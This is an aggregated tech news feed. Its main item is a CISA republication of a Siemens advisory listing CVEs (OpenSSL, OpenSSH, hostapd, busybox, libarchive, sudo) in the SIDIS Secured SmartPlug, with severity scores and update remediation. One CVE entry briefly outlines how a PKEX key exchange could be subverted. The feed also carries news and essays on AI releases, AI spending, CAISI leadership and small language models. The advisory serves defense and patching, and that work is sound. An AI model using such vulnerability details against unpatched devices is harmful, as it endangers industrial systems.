Google Releases Gemini 3.6 Flash, 3.5 Flash-Lite, and 3.5 Flash Cyber: A Cheaper, More Token-Efficient Flash Tier Built for Agentic Workloads
Tue, 21 Jul 2026 19:52:58 +0200
Google released Gemini 3.6 Flash, 3.5 Flash-Lite, and 3.5 Flash Cyber on July 21, 2026. The Flash tier gets cheaper and more token-efficient, with 3.6 Flash cutting output tokens 17% and dropping its output price to $7.50 per 1M. Flash-Lite runs at 350 tokens/sec, while gated Flash Cyber powers CodeMender for vulnerability finding. The flagship 3.5 Pro remains delayed.
The post Google Releases Gemini 3.6 Flash, 3.5 Flash-Lite, and 3.5 Flash Cyber: A Cheaper, More Token-Efficient Flash Tier Built for Agentic Workloads appeared first on MarkTechPost.


Siemens SIDIS Secured SmartPlug
Tue, 21 Jul 2026 19:45:23 +0200
View CSAF
Summary
SIDIS Secured SmartPlug before V7.26.0310 is affected by multiple vulnerabilities in the components OpenSSL, OpenSSH, and several other packages as described below. Siemens has released a new version of SIDIS Secured SmartPlug and recommends to update to the latest version.
The following versions of Siemens SIDIS Secured SmartPlug are affected:

SIDIS Secured SmartPlug vers:intdot/<7.26.0310 





CVSS
Vendor
Equipment
Vulnerabilities




v3 9.8
Siemens
Siemens SIDIS Secured SmartPlug
Improper Enforcement of Message Integrity During Transmission in a Communication Channel, Reusing a Nonce, Key Pair in Encryption, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Out-of-bounds Read, Covert Timing Channel, Detection of Error Condition Without Action, Incorrect Authorization




Background

Critical Infrastructure Sectors: Critical Manufacturing
Countries/Areas Deployed: Worldwide
Company Headquarters Location: Germany


Vulnerabilities

Expand All +

CVE-2022-23303

The implementations of SAE in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9494.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
9.8
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H







CVE-2022-23304

The implementations of EAP-pwd in hostapd before 2.10 and wpa_supplicant before 2.10 are vulnerable to side-channel attacks as a result of cache access patterns. NOTE: this issue exists because of an incomplete fix for CVE-2019-9495.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-924 Improper Enforcement of Message Integrity During Transmission in a Communication Channel

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7
HIGH
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H







CVE-2022-37660

In hostapd 2.10 and earlier, the PKEX code remains active even after a successful PKEX association. An attacker that successfully bootstrapped public keys with another entity using PKEX in the past, will be able to subvert a future bootstrapping by passively observing public keys, re-using the encrypting element Qi and subtracting it from the captured message M (X = M - Qi). This will result in the public ephemeral key X; the only element required to subvert the PKEX association.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-323 Reusing a Nonce, Key Pair in Encryption

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
6.5
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N







CVE-2022-48174

There is a stack overflow vulnerability in ash.c:6030 in busybox before 1.35. In the environment of Internet of Vehicles, this vulnerability can be executed from command to arbitrary code execution.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-787 Out-of-bounds Write

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7.8
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H







CVE-2025-5222

A stack buffer overflow was found in Internationl components for unicode (ICU ). While running the genrb binary, the 'subtag' struct overflowed at the SRBRoot::addTag function. This issue may lead to memory corruption and local arbitrary code execution.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7
HIGH
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H







CVE-2025-5914

A vulnerability has been identified in the libarchive library, specifically within the archive_read_format_rar_seek_data() function. This flaw involves an integer overflow that can ultimately lead to a double-free condition. Exploiting a double-free vulnerability can result in memory corruption, enabling an attacker to execute arbitrary code or cause a denial-of-service condition.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-190 Integer Overflow or Wraparound

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7.8
HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H







CVE-2025-9230

Issue summary: An application trying to decrypt CMS messages encrypted using password based encryption can trigger an out-of-bounds read and write. Impact summary: This out-of-bounds read may trigger a crash which leads to Denial of Service for an application. The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service or Execution of attacker-supplied code. Although the consequences of a successful exploit of this vulnerability could be severe, the probability that the attacker would be able to perform it is low. Besides, password based (PWRI) encryption support in CMS messages is very rarely used. For that reason the issue was assessed as Moderate severity according to our Security Policy. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-125 Out-of-bounds Read

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7.5
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H







CVE-2025-9231

Issue summary: A timing side-channel which could potentially allow remote recovery of the private key exists in the SM2 algorithm implementation on 64 bit ARM platforms. Impact summary: A timing side-channel in SM2 signature computations on 64 bit ARM platforms could allow recovering the private key by an attacker.. While remote key recovery over a network was not attempted by the reporter, timing measurements revealed a timing signal which may allow such an attack. OpenSSL does not directly support certificates with SM2 keys in TLS, and so this CVE is not relevant in most TLS contexts. However, given that it is possible to add support for such certificates via a custom provider, coupled with the fact that in such a custom provider context the private key may be recoverable via remote timing measurements, we consider this to be a Moderate severity issue. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as SM2 is not an approved algorithm.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-385 Covert Timing Channel

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
6.5
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L







CVE-2025-9232

Issue summary: An application using the OpenSSL HTTP client API functions may trigger an out-of-bounds read if the 'no_proxy' environment variable is set and the host portion of the authority component of the HTTP URL is an IPv6 address. Impact summary: An out-of-bounds read can trigger a crash which leads to Denial of Service for an application. The OpenSSL HTTP client API functions can be used directly by applications but they are also used by the OCSP client functions and CMP (Certificate Management Protocol) client implementation in OpenSSL. However the URLs used by these implementations are unlikely to be controlled by an attacker. In this vulnerable code the out of bounds read can only trigger a crash. Furthermore the vulnerability requires an attacker-controlled URL to be passed from an application to the OpenSSL function and the user has to have a 'no_proxy' environment variable set. For the aforementioned reasons the issue was assessed as Low severity. The vulnerable code was introduced in the following patch releases: 3.0.16, 3.1.8, 3.2.4, 3.3.3, 3.4.0 and 3.5.0. The FIPS modules in 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as the HTTP client implementation is outside the OpenSSL FIPS module boundary.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-125 Out-of-bounds Read

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
5.9
MEDIUM
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H







CVE-2025-26465

A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. A machine-in-the-middle attack can be performed by a malicious machine impersonating a legit server. This issue occurs due to how OpenSSH mishandles error codes in specific conditions when verifying the host key. For an attack to be considered successful, the attacker needs to manage to exhaust the client's memory resource first, turning the attack complexity high.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-390 Detection of Error Condition Without Action

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
6.8
MEDIUM
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N







CVE-2025-32462

Sudo before 1.9.17p1, when used with a sudoers file that specifies a host that is neither the current host nor ALL, allows listed users to execute commands on unintended machines.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-863 Incorrect Authorization

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
2.8
LOW
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N







CVE-2026-5121

A flaw was found in libarchive. On 32-bit systems, an integer overflow vulnerability exists in the zisofs block pointer allocation logic. A remote attacker can exploit this by providing a specially crafted ISO9660 image, which can lead to a heap buffer overflow. This could potentially allow for arbitrary code execution on the affected system.
View CVE Details

Affected Products
Siemens SIDIS Secured SmartPlug

Vendor:
Siemens
Product Version:
SIDIS Secured SmartPlug < V7.26.0310
Product Status:
known_affected


Remediations
Vendor fix
Update to V7.26.0310 or later version

Relevant CWE: CWE-190 Integer Overflow or Wraparound

Metrics




CVSS Version
Base Score
Base Severity
Vector String




3.1
7.5
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N








Acknowledgments

Siemens ProductCERT reported these vulnerabilities to CISA.


General Recommendations
As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity

Additional Resources
For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories

Terms of Use
The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.

Legal Notice and Terms of Use
This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices
CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.
Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.
Locate control system networks and remote devices behind firewalls and isolate them from business networks.
When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.
CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.
CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.
CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.
Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

Advisory Conversion Disclaimer
This ICSA is a verbatim republication of Siemens ProductCERT SSA-585531 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.
Revision History

Initial Release Date: 2026-07-14




Date
Revision
Summary




2026-07-14
1
Publication Date


2026-07-21
2
Initial CISA Republication of Siemens ProductCERT SSA-585531 advisory




Legal Notice and Terms of Use


Watch out - that Microsoft Calendar invite dated 2050 could be hiding stolen files and worse
Tue, 21 Jul 2026 18:17:28 +0200
Check your calendars for entries far into the future - especially if you're an Israeli entity.


The AI allocation trap: Record spend, vanishing returns
Tue, 21 Jul 2026 15:18:28 +0200

		
					  
						




In a single month, one enterprise reportedly spent half a billion dollars on AI. A consultant told Axios that the client had handed its workforce AI licenses, set no usage limits and let the meter run until finance noticed. The figure is spectacular, and it is the wrong thing to fear. That half-billion-dollar accident is only the visible part of a quieter, far larger failure. Worldwide AI spending is forecast to reach $2.52 trillion in 2026, more than any technology category in a generation, and by the most cited measure, roughly 95 percent of it returns nothing. Boards read that as proof that the technology does not work. The evidence points somewhere less comfortable, and it is not a technology problem at all. Most boards cannot see it because they are reading the wrong number: They track failure when the number that matters is allocation. The discipline that separates the winners is not technical. It is how they allocate capital across time, and how willing they are to stop. The hardest discipline in the AI era is not adopting faster. It is allocating honestly and refusing to judge a three-year bet on a six-month cycle.



The number everyone quotes, and no one acts on



The headline statistic is now familiar. MIT’s Project NANDA, in its 2025 study The GenAI Divide, found that about 95 percent of enterprise generative AI pilots produced no measurable impact on the P&L, while roughly 5 percent captured nearly all the value. S&P Global Market Intelligence found that the share of companies abandoning most of their AI initiatives jumped from 17 percent to 42 percent in a single year, with the average organization scrapping 46 percent of its proofs-of-concept before production. Gartner expects more than 40 percent of agentic AI projects to be canceled by the end of 2027, citing escalating costs, unclear business value and inadequate risk controls. And the pattern predates generative AI: RAND found that more than 80 percent of AI projects fail, roughly twice the rate of comparable work that does not involve AI.



Read as a technology story, these numbers say AI does not work. Read correctly, they say something more useful. MIT’s own authors located the cause not in model quality but in a learning and integration gap. The winners were not running better models. They picked one problem, executed and worked well together. Purchased solutions reached production about 67 percent of the time, while internal builds succeeded roughly a third as often. Gartner’s own spending forecast notes the same pivot, with CIOs scaling back ambitious internal builds in favor of commercial solutions that promise more predictable value. None of that is a verdict on the technology. It is a verdict on allocation: What gets funded, for how long and against which yardstick. The popular prescription, heard in every boardroom this year, is to measure harder and prove value sooner. That advice quietly repeats the mistake, because forcing a three-year bet to prove itself sooner is precisely how you kill it. The fix is not more measurement. It is measuring each bet against the right clock and subtracting the ones that miss.



The six-month cycle problem



Return to that 95 percent, because the way it is measured is the whole argument. Much of the reported failure is judged on a short clock, with a pilot counted as a failure if it has not shown a measurable financial return within roughly six months. The single most quoted number in enterprise AI is therefore a six-month yardstick applied to every initiative, including the bets designed to pay back in three years. The headline failure rate is not only a measure of AI. It is a measure of impatience.



The most expensive mistake in enterprise AI is a timing error. Enterprises have been spending heavily on AI for more than two years, and 2026 is the year boards are demanding returns. The multi-year bets funded during the 2024 and 2025 scale-up are only now far enough along to be judged. When a board reviews an initiative, it applies the yardstick it knows, which is quarterly return. That yardstick is correct for an efficiency project and ruinous for a capability bet. A workflow automation that should pay back in two quarters and a foundational data and agent capability that pays back in three years are not the same instrument, yet they are reviewed in the same meeting against the same metric.



This is the heart of the divide. The 5 percent did not simply pick better projects. They judged each project against its own horizon. McKinsey’s enduring Three Horizons model made this discipline standard in corporate strategy a generation ago: near-term, emerging and long-term bets are funded and measured differently. AI erased that discipline because the hype compressed every timeline into the current quarter. The result is two failure modes that appear opposite yet share a common root. Organizations kill three-year bets at month six because they miss a metric the bet was never designed to hit. And they keep funding six-month theater for years because it is visible, safe and never asked to prove a return. Both are allocation failures. Neither is a technology failure.



Subtraction is a strategy



There is a second discipline, the 5 percent share, and it is the one boards find hardest. They subtract. Every credible study of the failure rate describes the same chaotic pattern underneath it: Initiatives are abandoned late, without criteria, after the money is spent and the credibility is gone. Disciplined organizations do the opposite. They decide the conditions for stopping before they start, and they stop on schedule. Subtraction is not the absence of strategy. It is the strategy. Capital removed from a failing bet is capital available for a surviving one, and the survivors are where the entire return lives.



This reframes the 42 percent abandonment figure. Abandonment is not the problem. Undisciplined abandonment is. An organization that liquidates a position the moment it breaches a pre-agreed kill line is practicing portfolio hygiene. An organization that lets a doomed pilot run until someone loses patience is paying full price for a lesson it could have bought at a discount. The 5 percent who won were not smarter. They were patient in the right places and ruthless in the wrong ones.



The HALT framework: Horizon, Allocation, Liquidation, Tracking



Treating AI as a portfolio rather than a pile of pilots requires four disciplines, and the organizations that execute well put all four in place before the next funding cycle, not after the next failure. The name is deliberate. The discipline most enterprises lack is the willingness to halt the wrong bets in time to fund the right ones.



Component 1: Horizon. Classify every AI initiative by its true payoff horizon before it is funded. Horizon 1 covers efficiency plays that should return value within two quarters. Horizon 2 covers capability bets, data foundations, agent platforms and integration work that pays back in roughly 6 to 18 months. Horizon 3 covers transformation bets that take eighteen months to three years or longer. Each horizon carries its own success metric, set at funding time. A Horizon 1 yardstick never judges a Horizon 3 bet. This single rule prevents the most common and most expensive error in the portfolio.



Component 2: Allocation. Decide the split across horizons deliberately, as a board-level capital decision, not as the accidental sum of whatever pilots happened to win approval. A practical reference point, borrowed from decades of innovation-portfolio practice, is roughly 70% to near-term value, 20% to capability, and 10% to transformation. The exact ratio is yours; the discipline is to choose and defend it. The failure mode is an unmanaged portfolio: 90 percent scattered across disconnected Horizon 1 experiments, with nothing compounding into the Horizon 2 capability that the buy-and-integrate winners actually built.



Component 3: Liquidation. Attach a kill line to every initiative at the moment it is funded: A named milestone, a date and an owner empowered to stop it. If a bet misses its horizon-appropriate milestone, it is liquidated, and capital is reallocated on schedule without debate over sunk costs. The absence of a pre-agreed kill line is not patience. It is an unpriced liability that the board has almost certainly not been shown.



Component 4: Tracking. Report the portfolio to the board on a fixed cadence using a single instrument: The AI Portfolio Scorecard. Not a deck of project updates, but a single view of allocation by horizon, burn against milestone, liquidation decisions taken and capital reallocated to survivors. The cadence is the control. A portfolio reviewed once a year is a portfolio managed by hope.



THE AI PORTFOLIO SCORECARD: SCORE EVERY INITIATIVE BEFORE IT IS FUNDED



Evaluation criterion 0 1 2
Horizon assigned (H1 / H2 / H3) and documented before funding      
Success metric matched to the horizon, not a default quarterly ROI      
Kill line set: Named milestone and date, agreed at funding      
Owner named with explicit authority to stop the initiative      
Fits a deliberate allocation band, not an accidental addition      
Odds-raising path documented: Buy or partner and an integration plan      
 



Score each criterion: 0 = not present, 1 = partially documented, 2 = fully verified. Total out of 12. Bands: 0 to 4 = DO NOT FUND  |  5 to 8 = CONDITIONAL  |  9 to 12 = FUND.



THE LIQUIDATION GATE: RUN AT EVERY BOARD REVIEW BEFORE CONTINUING FUNDING



Review test Status
Milestone for this horizon met or credibly on track PASS / FAIL
Burn within plan to the next milestone PASS / FAIL
Still fits the allocation band, with no quiet horizon drift PASS / FAIL
Owner confirms continued strategic fit PASS / FAIL
 



Any unresolved FAIL = stop funding, liquidate the position, reallocate the capital to a survivor and record the decision on the scorecard.



The cost of the timing error



The financial case follows the pattern and is consistent. Consider two organizations that funded the same class of Horizon 3 bet: A domain-specific agent platform meant to compound over three years. The first review was conducted at month six against a quarterly return test, found no payback and killed it, booking the write-off as a lesson about AI being overhyped. Its competitor classified the same work as Horizon 3, set an 18-month capability milestone, protected funding through two review cycles and shipped to production within the window the work actually required. One organization spent its money to learn that it lacks allocation discipline. The other spent comparable money and now owns a capability its rival has abandoned and cannot quickly rebuild. The dollars on the two income statements are similar. The competitive positions are not.



The governance return the board has been waiting for



Allocation discipline does two things at once. It stops the bleed by liquidating failures on a schedule rather than at the point of exhaustion. And it concentrates capital where the entire return lives, in the small number of bets that survive their horizon. The 5 percent figure is not a ceiling imposed by the technology. It is the current yield of an industry allocated by hype. An organization that classifies by horizon, allocates on purpose, liquidates on a line and tracks on a cadence is not trying to beat the technology. It is trying to beat its own indiscipline, and that is a far more winnable contest.



The board conversation about AI returns is coming for every organization, and it arrives the moment the spending outpaces the story. When it does, the CIO will be asked a simple question: Where did the money go? The leaders who can answer will not show a pile of pilots. They will show a portfolio: What was funded, against which horizon, what was liquidated and when, and what the survivors are now worth. Subtraction is a strategy. The only question is whether you are practicing it on purpose or about to learn it by accident.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



US AI testing institute chief steps down within three months
Tue, 21 Jul 2026 14:48:10 +0200

		
					  
						




The head of the US government’s AI testing institute, Chris Fall, has resigned about three months after taking charge of the Center for AI Standards and Innovation (CAISI), the federal organization responsible for evaluating advanced artificial intelligence models for safety and security.



Current National Institute of Standards and Technology NIST Director Arvind Raman will serve as acting CAISI Director following Fall’s departure while continuing to oversee the Commerce Department office responsible for the institute, the Daily Signal reported, citing two people familiar with the matter.



A Commerce Department spokesperson who spoke to the publication did not disclose a reason for the resignation.



Fall assumed leadership of CAISI in April after the Trump administration reorganized the former US AI Safety Institute under NIST. The institute develops methodologies for evaluating frontier AI models and works with AI developers on voluntary technical assessments covering areas such as cybersecurity, model misuse, reliability and other risks associated with increasingly capable AI systems.



The leadership change comes as governments and AI companies continue developing technical approaches for evaluating frontier AI models while enterprises expand deployments of generative AI and agentic AI across business operations.



In recent months, the Commerce Department has taken a more active role in AI policy involving advanced models, placing greater attention on how the federal government evaluates technologies with potential national security implications.



Continuity matters more than personalities



CAISI works with AI developers such as Anthropic, Google’s DeepMind and OpenAI on voluntary evaluations of frontier AI models and develops methodologies for testing model capabilities and risks. The institute does not regulate AI developers or certify commercial AI systems.



For enterprises, those evaluations are one source of technical information alongside vendors’ own testing, third-party security assessments and internal AI governance programs.



Sanchit Vir Gogia, chief analyst at Greyhound Research, said enterprises should focus less on the individual leading the institute and more on whether its technical work continues with the same level of consistency and transparency.



“Leadership churn at CAISI weakens the signal long before it weakens the science,” Gogia said. “The testing has not stopped. Its authority simply does not travel as cleanly once the leadership does not.”



According to Gogia, the more important question for enterprises is not whether the institute’s evaluation work will continue but whether the processes supporting those evaluations remain stable.



“The instinct is to ask whether the pipeline is breaking,” he said. “The more useful question is where the pipeline now sits.”



Enterprises still carry the burden of AI governance



Gogia said organizations should continue treating government-led AI evaluations as one input into their governance processes rather than as evidence that a model is inherently safe for enterprise deployment.



“A government evaluation was always a signal, never a certificate,” he said. “A signal loses value the moment its issuer becomes unpredictable.”



He said enterprises should instead monitor whether CAISI maintains consistent evaluation methodologies, continues publishing technical findings and preserves continuity within its research teams under interim leadership.



“The name on the door is not the signal. The behaviour underneath it is,” Gogia said.



Gogia also cautioned against linking Fall’s resignation to recent Commerce Department actions involving AI policy or export controls, noting that there is no public evidence connecting the two.



“CAISI evaluates; it does not enforce export controls, because it holds no such power,” he said. “This is not a testing body reaching for enforcement. It is enforcement reaching past the testing body.”



With Raman assuming the role on an interim basis, the next significant milestone for enterprises will be the appointment of a permanent director, and whether the institute’s evaluation programs continue without disruption, the analyst said.



Gogia said the successor’s mandate may prove more important than the individual selected.



“A CAISI result is not a safe harbour,” he said. “It informs an obligation; it does not discharge one.” NIST did not immediately respond to a request for comment.



Millionen Websites betroffen: Kritische Lücke in WordPress
Tue, 21 Jul 2026 13:00:41 +0200
Millionen Websites betroffen: Kritische Lücke in WordPress

      
      
        
          
            
                



            
          
        
              
    
  Daniel Richey
Di., 21.07.2026 - 12:50


            Eine kritische Sicherheitslücke im weltweit meistgenutzten Content-Management-System sorgt für Alarmstufe Orange: Angreifer können WordPress-Seiten ganz ohne Login übernehmen. Das BSI warnt vor der Schwachstelle "wp2shell" – und rät zu schnellem Handeln.
      
    
          News
      
  
    Weiterlesen über Millionen Websites betroffen: Kritische Lücke in WordPress
  


Revolut launches Australian banking entity after regulatory nod
Tue, 21 Jul 2026 12:48:10 +0200
Revolut has major plans to become 'the world’s first truly global bank'.
Read more: Revolut launches Australian banking entity after regulatory nod


Small models, sovereign advantage: Why Australia should build its own AI edge
Tue, 21 Jul 2026 12:03:22 +0200

		
					  
						




For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their business.



That model is the small language model (SLM): Compact, purpose-built, trained on an organization’s own data and run under that organization’s own governance. And it is about to become one of the most consequential strategic assets available to both the private and public sector.



The problem with renting intelligence



Right now, most organizations consume AI the way they once consumed electricity from a single utility by plugging into a handful of frontier models built by a small number of global vendors. These models are extraordinary generalists. They are also, by design, generic. They are tuned to be safe, broad and useful to everyone, which means they are optimised for no one in particular.



That’s a problem for any organization trying to build genuine differentiation. If every competitor in your sector is calling the same foundation model with the same prompts, the model itself is not your edge. Your edge is what only you know, your proprietary data, your institutional judgement, your operating history. A generic model can’t see any of that unless you keep feeding it to them, turn after turn, at cost, with no lasting memory and no guarantee of where that data ends up.



An SLM flips that equation. Trained on an organization’s own document libraries, case histories, policy archives, transaction data and operational know-how, it becomes a model that thinks the way your organization thinks, because it was built from your organization’s accumulated judgement. It doesn’t need to be the smartest model in the world. It needs to be the most useful one for you.



I’ve seen this play out directly. At one of Australia’s largest integrated tourism and cruise businesses, simultaneously a B2C retailer, a B2B distributor to thousands of agency and wholesale clients globally, an aggregator marketplace for more than 1,800 independent tourism operators, and a cruise operator with offshore shared services spanning finance, customer contact and content management. The constraint wasn’t a lack of access to large general-purpose models. It was that none of them understood the business: 1,800 different operator catalogues, each with its own pricing logic, inventory quirks and content conventions; years of customer contact history with its own vocabulary and escalation patterns; a marketplace search experience that needed to reason over the business’s own product taxonomy, not the open web’s.



Models trained and tuned on that proprietary data, operator listings, historical tickets, booking and pricing data delivered results a generic model never could. Domain-tuned content drafting cut operator listing time by 70% and eliminated a 23-day onboarding backlog outright, taking new-operator time-to-live from 23 days to three. A semantic search model trained on the marketplace’s own product catalogue lifted booking conversion by 24%. AI-driven triage trained on the business’s own contact history cut Tier 1 escalations by 34%. None of this came from a smarter foundation model. It came from a smaller, more specific one that knew the business.



Why “small” is the strategic choice, not the compromise



There’s a temptation to treat SLMs as the budget option, what you build when you can’t afford a frontier model. That’s the wrong frame. The evidence is already compelling: Microsoft’s Phi-4 family of small models, released in early 2025, demonstrated that a 14-billion-parameter model can match or exceed the performance of models many times its size on complex reasoning and domain-specific tasks while running at a fraction of the compute cost and on-premise, entirely within an organization’s own infrastructure. Smaller, domain-trained models are increasingly outperforming general-purpose giants on narrow, high-value tasks, with far tighter control over data residency, security and explainability.



For a CIO or CTO, that combination of lower cost, tighter governance, higher task-specific accuracy is rare enough to demand attention on its own. But the deeper value sits one layer up, at the operating model. An SLM trained on your service history can sit inside claims processing, citizen services, clinical triage, asset maintenance scheduling or M&A due diligence quietly compounding institutional knowledge into a reusable asset rather than letting it walk out the door every time someone retires or resigns.



That is the real shift: AI capability stops being a subscription and starts being a balance-sheet asset. It can be valued, protected, audited and improved because it belongs to you.



The public sector’s hidden advantage



Nowhere is this more obvious than in government. The public sector sits on some of the richest, least-exploited data and institutional knowledge in the country: Decades of policy outcomes, service delivery history, regulatory precedent, infrastructure records and frontline expertise. Most of it has never been put to systematic use because no commercially available model was ever trusted to touch it, and rightly so.



A small, sovereign, purpose-built model changes that calculus. Trained, hosted and governed entirely within government infrastructure, an SLM doesn’t require sensitive citizen or policy data to leave a secure perimeter. The Australian Government has already recognised this direction: The APS AI Plan, released in November 2025, commits to expanding the GovAI platform to provide all public servants with secure, sovereign AI tools operating entirely within Australian Government infrastructure. SLMs tuned to individual agency mandates are the logical next step and a more powerful one than any generic government-wide tool can deliver.



Rather than each agency independently negotiating with the same handful of overseas vendors, a coordinated approach of common standards for model governance, shared security architecture, common evaluation frameworks and pooled infrastructure investment would let agencies build and reuse SLM capability horizontally, the way shared services and common ICT platforms have been built before. Each agency gets a model genuinely tuned to its mandate, but the security model, audit trail and assurance framework are consistent, government-backed and independently verifiable.



Done well, this isn’t just an efficiency play. It’s a sovereignty play. As GovTech Review has noted, large language models hosted offshore create data flows that extend beyond Australia’s borders in ways that are rarely transparent, a risk that is simply untenable for government. Sovereign, purpose-built models keep Australian public data, public knowledge and the resulting capability uplift inside Australian hands, rather than exporting both the data and the long-term value to offshore platforms.



Why this belongs in the innovation budget, not the IT budget



